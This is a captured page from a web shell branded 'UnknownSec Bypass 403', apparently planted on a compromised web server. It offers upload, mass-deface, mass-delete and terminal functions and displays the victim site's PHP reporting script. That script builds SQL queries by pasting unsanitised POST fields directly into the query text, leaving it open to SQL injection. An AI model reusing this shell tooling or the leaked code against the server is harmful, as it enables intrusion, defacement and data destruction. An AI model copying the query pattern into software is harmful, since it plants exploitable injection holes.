UnknownSec Bypass
403
:
/
var
/
www
/
cotutilitydash
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
load_subarea_comparison_report.php
<?php //fetch.php include('config.php'); if(isset($_POST["year"])) { $year= $_POST["year"]; $month= $_POST["month"]; $area= $_POST["area"]; $equipment= $_POST["equipment"]; $subarea= $_POST["subarea"]; //$query="insert into tempdatewisereport(area,equipment,subarea,consuptiondate,totalconsumption) Select consuptiondate,totalconsumption from v_consumptiondetails where area='".$area."' and Month(consuptiondate)=2 and Year(consuptiondate)=2024"; //$result=insertrecord($conn,$query); //$query=" Select DATE_FORMAT(consuptiondate,'%d-%m-%Y') as consuptiondate,totalconsumption from v_consumptiondetails where area='".$area."' and equipment='".$equipment."' //and Month(consuptiondate)=".$month." and Year(consuptiondate)=".$year.""; if(trim($subarea)=="") { $query= " Select area,equipment,subarea,sum(totalconsumption) as totalconsumption from v_consumptiondetails where area='".$area."' and equipment='".$equipment."' and Month(consuptiondate)=".$month." and Year(consuptiondate)=".$year." group by area,equipment,subarea "; } else { $newStr = explode(",", $subarea); //$newStr= json_decode($_POST["subarea"], true); $subdata=""; $arrLength = count($newStr); for($i = 0; $i < $arrLength; $i++) { if($i==$arrLength-1) { $subdata= $subdata. "'".$newStr[$i]."'"; } else { $subdata= $subdata."'".$newStr[$i]."'".','; } } $query=" Select consuptiondate, area,equipment,subarea,sum(totalconsumption) as totalconsumption from v_consumptiondetails where area='".$area."' and equipment='".$equipment."' and subarea in (".$subdata.") and Month(consuptiondate)=".$month." and Year(consuptiondate)=".$year." group by area,equipment,subarea"; } $statement = $connect->prepare($query); $statement->execute(); $result = $statement->fetchAll(); if(!$result) $output[] = array('subarea'=>'null', 'consumption'=>'null' ); foreach($result as $row) { $output[] = array( 'subarea' =>$row["subarea"], 'consumption' => floatval($row["totalconsumption"]) ); } echo json_encode($output); } ?>
Copyright © 2025 - UnknownSec